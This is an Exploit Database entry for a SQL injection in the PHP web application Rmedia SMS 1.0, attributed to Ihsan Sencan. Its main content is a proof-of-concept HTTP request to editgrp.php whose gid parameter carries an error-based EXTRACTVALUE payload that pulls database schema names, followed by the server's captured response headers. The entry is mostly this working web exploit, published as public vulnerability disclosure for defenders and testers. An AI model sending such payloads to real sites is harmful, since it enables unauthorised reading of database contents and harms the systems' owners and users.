



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Rmedia SMS 1.0 - SQL Injection

EDB-ID:

45855

CVE:

N/A

EDB Verified: ✘

Author:

[IHSAN SENCAN](#)

Type:

[WEBAPPS](#)

Exploit:   / 

Platform:

[PHP](#)

Date:

2018-11-14

Vulnerable App: 



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```
# Exploit Title: Rmedia SMS 1.0 - SQL Injection
# Dork: N/A
# Date: 2018-11-11
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://sms.rmediaindia.com/
# Software Link:
https://master.dl.sourceforge.net/project/rmediasms/rmedia_sms.rar
# Version: 1.0
# Category: Webapps
# Tested on: Win7_x64/KaLiLinux_x64
# CVE: N/A

# POC:
# 1)
# http://localhost/[PATH]/editgrp.php?gid=[SQL]
#
GET /[PATH]/editgrp.php?
gid=1%27%20AnD%20EXTRACTVALUE(156,CONcat((select+GrouP_conCAT(schEma_NAme+SEp
(SelecT%20(Elt(156=156,1))),0x496873616e2053656e63616e))--%20Efe HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=31hgqp31e2tenlgk8gousnt0d3
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sun, 11 Nov 2018 20:04:34 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-
check=0
Pragma: no-cache
Content-Length: 234
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
```

Tags: [SQL Injection \(SQLi\)](#)

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

TERMS

PRIVACY

ABOUT US

FAQ

COOKIES

OffSec Services Limited 2026. All rights reserved.